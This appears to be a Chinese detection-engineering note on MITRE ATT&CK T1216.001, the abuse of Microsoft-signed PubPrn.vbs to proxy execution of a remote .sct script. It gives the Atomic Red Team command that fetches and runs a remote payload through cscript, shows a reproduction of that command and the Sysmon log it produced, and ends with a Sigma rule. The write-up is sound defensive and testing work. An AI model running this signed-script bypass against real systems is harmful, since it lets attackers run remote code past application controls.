T1216-001-win-签名脚本代理执行-PubPrn
来自ATT&CK的描述
攻击者可能会使用 PubPrn 来代理恶意远程文件的执行。PubPrn.vbs 是一个将打印机发布到 Active Directory 域服务的Visual Basic脚本。该脚本由 Microsoft 签名,通常通过Windows shell Cscript.exe
. 例如,以下代码在指定域内发布打印机:cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com
。
攻击者可能会滥用PubPrn来执行托管在远程站点上的恶意负载。为此,攻击者可以设置第二个script:
参数以引用托管在远程站点上的脚本文件 (.sct)。一个示例命令pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct
. 此行为可能会绕过签名验证限制和不考虑滥用此脚本的应用程序控制。
在更高版本的 Windows (10+) 中,PubPrn.vbs
已更新,防止从远程站点执行代理。这是通过将第二个参数中指定的协议限制为来完成的,也就是可用于通过 HTTP(S) 引用远程代码LDAP://
的script:
绰号。
测试案例
测试1 PubPrn.vbs Signed Script Bypass
执行已签名的PubPrn.vbs脚本,该脚本可以下载和执行任意有效载荷。 攻击命令,Windows命令行执行即可。
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
remote_payload:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct
检测日志
Windows 安全日志、Sysmon日志
测试复现
测试1 PubPrn.vbs Signed Script Bypass
C:\Users\Administrator.ZHULI>cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs localhost "script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct"
注意操作系统语言,语言不同,VBS脚本所在位置不同
测试留痕
Windows Sysmon日志
Process Create: 事件ID 1进程创建
RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-01-11 08:05:07.983
ProcessGuid: {78c84c47-3a33-61dd-3924-000000000800}
ProcessId: 2000
Image: C:\Windows\System32\cscript.exe
FileVersion: 5.812.10240.16384
Description: Microsoft
Product: Microsoft ® Windows Script Host
Company: Microsoft Corporation
OriginalFileName: cscript.exe
CommandLine: cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs localhost "script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct"
CurrentDirectory: C:\Users\Administrator.ZHULI\
User: ZHULI\Administrator
LogonGuid: {78c84c47-f665-61db-95da-440100000000}
LogonId: 0x144DA95
TerminalSessionId: 3
IntegrityLevel: High
Hashes: SHA1=0E3C0779D8EAAD3B00363D7890DDC8272B510D49,MD5=A45586B3A5A291516CD10EF4FD3EE768,SHA256=59D3CDC7D51FA34C6B27B8B04EA17992955466EB25022B7BD64880AB35DF0BBC,IMPHASH=2B44D2206B9865383429E9C1524F1CAC
ParentProcessGuid: {78c84c47-2489-61dd-f120-000000000800}
ParentProcessId: 4392
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: ZHULI\Administrator
检测规则/思路
Sigma规则
title: 使用PubPrn.vbs脚本绕过检测
status: experimental
author: 12306Br0
date: 2022/01/11
references:
- attack.t1216.001
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1 #sysmon日志,进程创建
CommandLine:
- '*\Printing_Admin_Scripts\*\pubprn.vbs' #进程命令行
- 'https:*'
- '*.sct'
condition: selection
level: low
建议
监视脚本进程,例如cscript
,以及脚本的命令行参数,例如可用于代理恶意文件执行的PubPrn.vbs。
参考推荐
MITRE-ATT&CK-T1216-001
https://attack.mitre.org/techniques/T1216/001/
Atomic-red-team-T1216.001
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1216.001/T1216.001.md